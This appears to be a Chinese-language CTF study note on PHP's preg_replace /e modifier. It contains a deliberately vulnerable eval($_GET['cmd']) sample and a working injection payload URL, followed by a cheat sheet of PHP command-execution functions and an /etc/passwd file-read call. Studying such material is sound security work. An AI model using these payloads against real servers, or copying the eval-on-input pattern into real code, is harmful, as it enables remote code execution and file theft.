preg_match的/e模式
preg_match(pattern, 替换成的字符串, str) 当pattern中采用了/ / ..e模式时,每当str中匹配到pattern,就会把参数2当做代码执行。
- 参数2可控 ---> 直接执行命令
- 参数2固定格式,如
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
url?\S*=${getFlag()}&cmd=system("ls")
\\1是正则表达式中的第一个捕获项,由于表达式是(\S*),$str均被匹配,因此
执行的是strtolower("${getFlag()}")
接下来回答以下几个问题
Q1: 为什么不使用.*匹配
A: 以下这些字符作为变量名时,会被替换成’_‘,其中就包括了字符’.’

Q2: 为什么要用${getFlag()}而不用getFlag()?
A: 因为如果用后者,那么将执行strtolower("getFlag()"),其中getFlag()只是普通的字符串.而执行strtolower("${getFlag()}"), 其中${}的格式是可变变量
,也就是会先自动解析{}中的变量,然后再把它作为变量名.显然$flag{…}是未定义的变量,也就是null.所以得到flag依赖于getFlag()函数中将flag打印出来
Q3: 为什么不能直接url?\S*=${system('ls')}?
A: 经测试会报错 unexpected “ls”
2025/3/10:
传递的参数是字符串,'和"也不例外, 因此'变认为是一个常量字符串,
传递url?\S*=${system('ls')}时, 执行的是strtolower("${system(\'ls\')}"), 也就是说'会被转义, 因此会报syntax error, unexpected '
和网页上的报错一致
终于…
可能与'strtolower("\\1")'中把'和"都用掉了有关系,导致
$str这个参数不能出现引号. ==> nope
奇怪的是url?\S*=${system(ls)}意外的可以运行
但是ls /又不能运行, … 暂时不深究
命令执行
exec("whoami");
popen("whoami", "w");
shell_exec("whoami");
passthru("whoami");
system("whoami");
array_map('system', ['whoami']);
array_filter(['whoami'], 'system');
`whoami`;
pcntl_exec('/bin/whoami', []);
// proc_open
<?php
$descriptorspec = [
0 => ["pipe", "r"], // 标准输入:管道读取模式
1 => ["pipe", "w"], // 标准输出:管道写入模式
2 => ["pipe", "w"] // 标准错误
];
$process = proc_open('whoami', $descriptorspec, $pipes);
echo "输出结果:\n" . stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
代码执行
eval, assert, preg_match, include
其他危险函数
file_get_contents, file_put_contents, curl_exec, call_user_func
show_source("/etc/passwd"), highlight_file("/etc/passwd"), readfile // 直接输出, 任意文件读